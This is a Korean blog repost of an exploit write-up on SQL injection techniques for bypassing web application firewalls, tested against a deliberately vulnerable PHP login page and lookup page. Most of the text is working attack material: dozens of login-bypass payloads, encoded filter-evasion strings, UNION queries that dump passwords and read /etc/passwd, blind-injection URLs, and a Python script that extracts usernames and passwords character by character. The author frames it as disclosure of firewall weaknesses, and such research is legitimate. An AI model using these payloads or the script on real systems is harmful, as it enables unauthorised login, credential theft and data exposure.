2011.12.30 10:35

False SQL Injection and Advanced Blind SQL Injection

#########################################################################
#                                                                       #
# Exploit Title: False SQL injection and advanced blind SQL injection   #
# Date: 21/12/2011                                                      #
# Author: wh1ant                                                        #
#                                                                       #
#########################################################################



이 문서는 SQL injection 공격이 웹 방화벽이나 기타 보안 솔루션 방어 우회가 가능하다는걸 공개하기 위해 작성하였다.
한국 웹 방화벽을 대상으로 테스트 한 결과 대부분의 SQL injection 필터링 우회가 가능하였다.
이 문서를 보기 위해서는 기본적인 MySQL 에 대한 이해가 필요하다.
필자는 이 문서에서 인증 공격에 사용되는 SQL injection 용어를 두가지로 분류 할것인데 일반직인 SQL injection이 True SQL injection 이고
새롭게 보여줄 공격이 False SQL injection 이다. 하지만 True SQL injection만 해도 이 문서에서는 독특한 공격으로 보여줄 것이다.
그리고 정확히 얘기 하자면 Blind SQL injection 공격을 말하는 True/False SQL injection 이랑은 전혀 다른 공격이다.
이번에 직접 공격한 서버는 디폴트 상태에서 테스트 했으며, 버전은 다음과 같다.

ubuntu server 11.04
mysql 5.1.54-1
Apache 2.2.17
PHP 5.3.5-1

웹 서버의 테스트 코드는 다음과 같다.

<?php

/*
create database injection_db;
use injection_db;
create table users(num int not null, id varchar(30) not null, password varchar(30) not null, primary key(num));
insert into users values(1, 'admin', 'ad1234');
insert into users values(2, 'wh1ant', 'wh1234');
insert into users values(3, 'secuholic', 'se1234');

*** login.php ***
*/

if(empty($_GET['id']) || empty($_GET['password'])){
  echo "<html>";
  echo "<body>";
  echo "<form name='text' action='login.php' method='get'>";
  echo "<h4>ID&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type='text' name='id'><br>";
  echo "PASS<input type='password' name='password'><br></h4>";
  echo "<input type='submit' value='Login'>";
  echo "</form>";
  echo "</body>";
  echo "</html>";
}

else{
  $id = $_GET['id'];
  $password = $_GET['password'];

  $dbhost = 'localhost';
  $dbuser = 'root';
  $dbpass = 'pass';
  $database = 'injection_db';

  $db = mysql_connect($dbhost, $dbuser, $dbpass);
  mysql_select_db($database,$db);
  $sql = mysql_query("select * from users where id='$id' and password='$password'") or die (mysql_error());

  $row = mysql_fetch_array($sql);

  if($row[id] && $row[password]){
    echo "<font color=#FF0000><h1>"."Login sucess"."</h1></u><br>";
    echo "<h3><font color=#000000>"."Hello, "."</u>";
    echo "<font color=#D2691E>".$row[id]."</u></h3><br>";
  }
  else{
    echo "<script>alert('Login failed');</script>";
  }
  mysql_close($db);
}

?>



일단 기본적인 SQL injection 공격은 다음과 같다.
' or 1=1#

위의 공격 코드가 일바적인 SQL injection이며 필자는 이를 True SQL injection 으로 분류 한다.
로그인할 때 select 문을 이용하여 id='' 와 password=''를 확인하게 되는데 이때 ''를 0으로 생각하면
이 문서를 더 쉽게 이해할 수 있다. 빈 공간은 0과 같기 때문에 = 연산으로 참이 되어 공격이 가능하다.
결국 다음과 같은 True SQL injection은 로그인를 성공 한다.
'=0#

이것을 계속 응용하면 다음과 같은 공격도 가능하다.
이것은 -1보다 0이 더 크기 때문에 공격이 가능한 것이다.
'>-1#

또한 0이 1보다 작기 때문에 이것도 로그인이 가능하다.
'<1#

꼭 숫자가 한자리만 필요한건 아니다. 다음과 같이 연속적으로 사용이 가능하다.
1'<99#

비교 연산도 마찬가지 이다. 0=1은 0이 될 것이고 0이된 결과 값으로 id=''=0 참이 된다.
'=0=1#

또한 서로 값이 같아야 하는 비교 연산도 있다.
'<=>0#

이렇게 비교 연산을 이용하면 얼마든지 추가 응용이 가능한 공격 이다.
'=0=1=1=1=1=1#
'=1<>1#
'<>1#
1'<>99999#
'!=2!=3!=4#



이번에는 False SQL injection을 볼 차례이다. 다음은 공격이 아닌 MySQL 에서 사용되는 명령어 이다.

mysql> select * from users;
+-----+-----------+----------+
| num | id        | password |
+-----+-----------+----------+
|   1 | admin     | ad1234   |
|   2 | wh1ant    | wh1234   |
|   3 | secuholic | se1234   |
+-----+-----------+----------+
3 rows in set (0.01 sec)

별 문제점 없이 테이블에 있는 내용을 출력하는 모습이다.
다음은 id에 아무것도 입력을 안했을 때의 내용이다.

mysql> select * from users where id='';
Empty set (0.00 sec)

당연히 id 필드에 해당되는 문자열이 없으니 출력될 내용이 없다.
사실 MySQL에서 문자열 넣는 부분에 숫자를 입력해도 입력이 되는 경우를 많이 보았다.
그 바탕으로 테스트한 결과가 다음과 같은 예 이다.

mysql> select * from users where id=0;
+-----+-----------+----------+
| num | id        | password |
+-----+-----------+----------+
|   1 | admin     | ad1234   |
|   2 | wh1ant    | wh1234   |
|   3 | secuholic | se1234   |
+-----+-----------+----------+
3 rows in set (0.00 sec)

id에 숫자 0을 입력하면 테이블의 모든 내용이 출력되는걸 볼 수 있다.
이것이 False SQL injection의 기본이다. 결국 0의 결과 값을 가지고 로그인이 가능하다는 뜻이 된다.
0이 나오게 하려면 정수를 처리하는 뭔가가 필요한데 이 때 주로 사용되는게 비트 연산이과 사칙 연산이다.
일단 비트 연산을 예로들어 보자.



OR 비트 연산는 프로그래밍을 해본 사람이라면 대부분 알고 있을 것이다.
그리고 아까 말 했듯이 ''는 0이라 했음으로 0과 0을 OR 비트 연산을 하면 결과 값이 0이 되므로
아래와 같은 연산은 결국 False SQL injection을 성공하게 된다.
'|0#

보통 프로그래밍 언어에는 OR 비트 연산이 있으면 AND 비트 연산도 있는 경우가 많기 때문에 다음과 같은 공격을 이용해 로그인이 가능하다.
'&0#

이것은 XOR 연산을 이용한 공격 이다.
'^0#

또한 shift 비트 연산을 통하여 공격도 가능하다.
'<<0#
'>>0#

이런 비트 연산을 응용하면 다음과 같은 여러 공격이 가능할 것이다.
'&''#
'%11&1#
'&1&1#
'|0&1#
'<<0|0#
'<<0>>0#



이번에는 사칙 연산을 이용한 False SQL injection을 보여 주도록 하겠다.
''을 사칙 연산을 함으로 0이 나오게 하면 공격이 가능하다.
아래는 사칙 연산을 사용한 False SQL injection 공격 예 이다.

'*9#
곱하기.

'/9#
나누기.

'%9#
나머지.

'+0#
더하기.

'-0#
빼기.

여기서 주의 할것은 플러스 연산을 할 때 1 이상이 오면 값이 증가 함으로 1이상의 값이 오면 안된다.
마이너스도 1 이상의 값이 오면 결과 값이 마이너스가 됨으로 공격 실패가 된다.
물론 플러스, 마이너스 연산을 정확히 하여 최종적으로 결과 값이 0이 나오게 하면 큰 문제는 없다.
또한 이것들도 길이 제한 없이 연속적으로 사칙 연산을 시용할 수 있다.
'+2+5-7#
'+0+0-0#
'-0-0-0-0-0#
'*9*8*7*6*5#
'/2/3/4#
'%12%34%56%78#
'/**/+/**/0#
'-----0#
'+++0+++++0*0#




다음은 함수를 이용한 공격이다. 여기서 모든 종류의 함수를 다 설명하기는 힘들다.
그리 어려운 공격이 아니므로 이 문서에서 설명하지 않는 함수를 사용하여 얼마든지
True, False SQL injection 공격이 가능하다. 그리고 이번공격은 True SQL injection 인지
False SQL injection 인지는 함수가 결정 하는것이 아니라 함수가 리턴 후 마지막에 사용되는 연산에 달렸다.
'<hex(1)#
'=left(0x30,1)#
'=right(0,1)#
'!=curdate()#
'-reverse(0)#
'=ltrim(0)#
'<abs(1)#
'*round(1,1)#
'&left(0,0)#
'*round(0,1)*round(0,1)#

또한 함수 이름과 괄호 중간에 공백이 들어가도 공격이 가능하다.
다만 몇몇 함수만 그럴뿐 모든 함수가 중간에 공백이 들어가도 되는건 아니다.
'=upper     (0)#



이번에는 SQL 키워드를 이용한 공격이다. 이것도 경우에 따라 True, False SQL injection 공격이 된다.
' <1 and 1#
'xor 1#
'div 1#
'is not null#
admin' order by'
admin' group by'
'like 0#
'between 1 and 1#
'regexp 1#




아이디 입력하는 폼과 패스워드 입력하는 폼에 주석을 빼고 True, False SQL injection 공격도 가능하다.
ID와 password를 넣는 부분에 #, --, /**/ 같은 주석을 넣지 않은 공격은 웹 방화벽을
우회하는데 더 효과적일 것이다.
ID  : '='
PASS: '='

ID  : '<>'1
PASS: '<>'1

ID  : '>1='
PASS: '>1='

ID  : 0'='0
PASS: 0'='0

ID  : '<1 and 1>'
PASS: '<1 and 1>'

ID  : '<>ifnull(1,2)='1
PASS: '<>ifnull(1,2)='1

ID  : '=round(0,1)='1
PASS: '=round(0,1)='1

ID  : '*0*'
PASS: '*0*'

ID  : '+'
PASS: '+'

ID  : '-'
PASS: '-'

ID  :'+1-1-'
PASS:'+1-1-'



문서에서 설명하는 모든 공격들을 괄호를 이용하여 공격하면 보안 솔루션을 우회하는데
더 효과적일 것이다.
'+(0-0)#
'=0<>((reverse(1))-(reverse(1)))#
'<(8*7)*(6*5)*(4*3)#
'&(1+1)-2#
'>(0-100)#



일반적인 SQL injection 공격을 다시 보도록 하자.
' or 1=1#

이것을 16진수로 변환해 공격하면 다음과 같다.
http://127.0.0.1/login.php?id=%27%20%6f%72%20%31%3d%31%23&password=1234

위와 같은 공격은 기본적으로 필터링되기 때문에 좋은 공격이 아니며
%20 공백 대신 %09같은 TAB 으로 변경하여 필터링 우회를 시도할 것이다.
사실 여기서 %09 말고 %a0 값을 넣어도 공격이 가능하다.
공백을 대신해서 공격 가능한 값은 다음과 같다.
%09
%0a
%0b
%0c
%0d
%a0
%23%0a
%23%48%65%6c%6c%6f%20%77%6f%6c%72%64%0a

다음은 필터링 우회를 시도하기 위해 %20을 %a0로 변환하여 공격하는 한 예 이다.
http://127.0.0.1/login.php?id=%27%a0%6f%72%a0%31%3d%31%23&password=1234



이번에 보여줄 공격은 Blind SQL injection 공격으로, 웹 방화벽을 우회하는 공격 까지는
아니지만 단지 공격자들이 로그인 페이지 에서도 Blind SQL injection 공격이 가능 하다는 생각이
적은거 같아 이번 문서에 작성하기로 하였다.

다음과 같은 공격 코드를 로그인 페이지에 넣으면 로그인이 되는과 동시에
패스워드가 노출이 되는걸 확인할 수 있다.
'union select 1,group_concat(password),3 from users#

이 공격 코드는 /etc/passwd 정보를 가지고 온다.
'union select 1,load_file(0x2f6574632f706173737764),3 from users#

구지 union select 문장말고도 and 연산을 이용하여 Blind SQL injection 공격도 가능하다.
다음과 같은 코드를 사용해서 로그인이 성공하면 레코드가 총 3개 라는걸 확인할 수 있다.
admin' and (select count(*) from users)=3#



이번에는 웹 방화벽을 우회하여 Blind SQL injection 공격을 해 보도록 하자.
다음은 Blind SQL injection 공격에 취약한 코드 이다.

<?php

  /*** info.php ***/

  $n = $_GET['num'];
  if(empty($n)){
    $n = 1;
  }

  $dbhost = 'localhost';
  $dbuser = 'root';
  $dbpass = 'root';
  $database = 'injection_db';

  $db = mysql_connect($host, $dbuser, $dbpass);
  mysql_select_db($database,$db);
  $sql = mysql_query("select * from `users` where num=".$n) or die (mysql_error());
  $info = @mysql_fetch_row($sql);
  echo "<body bgcolor=#000000>";
  echo "<h1><font color=#FFFFFF>wh1ant</font>";
  echo "<font color=#2BF70E> site for blind SQL injection test</h1><br>";
  echo "<h1><font color=#2BF70E>num: </font><font color=#D2691E>".$info[0]."</font></h1>";
  echo "<h1><font color=#2BF70E>user: </font><font color=#D2691E>".$info[1]."</font>";
  echo "<body>";
  mysql_close($db);

?>



위와 같은 취약점 코드가 있을 때 기본적인 Blind SQL injection 은 다음과 같을 것이다.

http://127.0.0.1/info.php?num=1 and 1=0
http://127.0.0.1/info.php?num=1 and 1=1

하지만 = 연산을 사용하여도 Blind SQL injection이 가능 하다.

http://127.0.0.1/info.php?num=1=0
http://127.0.0.1/info.php?num=1=1

여기서 확실히 말하지만 절대 = 연산만 되는것은 아니다.

http://127.0.0.1/info.php?num=1<>0
http://127.0.0.1/info.php?num=1<>1

http://127.0.0.1/info.php?num=1<0
http://127.0.0.1/info.php?num=1<1

http://127.0.0.1/info.php?num=1*0*0*1
http://127.0.0.1/info.php?num=1*0*0*0

http://127.0.0.1/info.php?num=1%1%1%0
http://127.0.0.1/info.php?num=1%1%1%1

http://127.0.0.1/info.php?num=1 div 0
http://127.0.0.1/info.php?num=1 div 1

http://127.0.0.1/info.php?num=1 regexp 0
http://127.0.0.1/info.php?num=1 regexp 1

http://127.0.0.1/info.php?num=1^0
http://127.0.0.1/info.php?num=1^1

공격 예:
http://127.0.0.1/info.php?num=0^(locate(0x61,(select id from users where num=1),1)=1)
http://127.0.0.1/info.php?num=0^(select position(0x61 in (select id from users where num=1))=1)
http://127.0.0.1/info.php?num=0^(reverse(reverse((select id from users where num=1)))=0x61646d696e)
http://127.0.0.1/info.php?num=0^(lcase((select id from users where num=1))=0x61646d696e)
http://127.0.0.1/info.php?num=0^((select id from users where num=1)=0x61646d696e)
http://127.0.0.1/info.php?num=0^(id regexp 0x61646d696e)
http://127.0.0.1/info.php?num=0^(id=0x61646d696e)
http://127.0.0.1/info.php?num=0^((select octet_length(id) from users where num=1)=5)
http://127.0.0.1/info.php?num=0^((select character_length(id) from users where num=1)=5)

계속 찾으려 하면 시간이 오래 걸릴 거 같아 일단 이정도만 공격이 가능하다는걸 보여줬다.
Blind SQL injection 는 사람이 하기에는 힘들고 툴을 작성하여 사용하는게 더 효과적 이다. 
python 을 이용하여 만든 툴을 보여줄 것인데, ^(XOR) 비트 연산으로 공격하는 예제가 되겠다.
웹 방화벽 필터링을 최대한 우회 하기 위해 공백을 %0a로 변경 하였다.

#!/usr/bin/python

### blind.py ###

import urllib
import sys
import os



def put_data(true_url, true_result, field, index, length):
for i in range(1, length+1):
for j in range(32, 127):
attack_url = true_url + "^(%%a0locate%%a0%%a0(0x%x,(%%a0select%%a0%s%%a0%%a0from%%a0%%a0users%%a0where%%a0num=%d),%d)=%d)" % (j,field,index,i,i)
attack_open = urllib.urlopen(attack_url)
attack_result = attack_open.read()
attack_open.close()
if attack_result==true_result:
ch = "%c" % j
sys.stdout.write(ch)
break
print "\t\t",

def get_length(false_url, false_result, field, index):
i=0
while 1:
data_length_url = false_url + "^(%%a0(select%%a0octet_length%%a0%%a0(%s)%%a0from%%a0users%%a0where%%a0num%%a0=%%a0%d)%%a0=%%a0%d)" % (field,index,i)
data_length_open = urllib.urlopen(data_length_url)
data_length_result = data_length_open.read()
data_length_open.close()
if data_length_result==false_result:
return i
i+=1

url = "http://127.0.0.1/info.php"

true_url = url + "?num=1"
true_open = urllib.urlopen(true_url)
true_result = true_open.read()
true_open.close()
false_url = url + "?num=0"
false_open = urllib.urlopen(false_url)
false_result = false_open.read()
false_open.close()


print "num\t\tid\t\tpassword"
fields = "num", "id", "password"

for i in range(1, 4):
for j in range(0, 3):
length = get_length(false_url, false_result, fields[j], i)
length = put_data(false_url, true_result, fields[j], i, length)
print ""



아쉽게도 공격 테스트는 여기서 마치겠지만 필자 말고도 누군가 추가적으로 공격을 연구 한다면
얼마든지 공격 코드 개발이 가능할 것이다.
[EOF]



출처 : wh1ant.kr

Trackback 0 Comment 1
  1. 질문있는데 2013.05.08 07:31 신고 address edit & del reply

    http://127.0.0.1/info.php?num=0^(locate(0x61,(select id from users where num=1),1)=1)

    이거를 적용하려면 f12에서 스크립에서 수정하는건가요?


    이거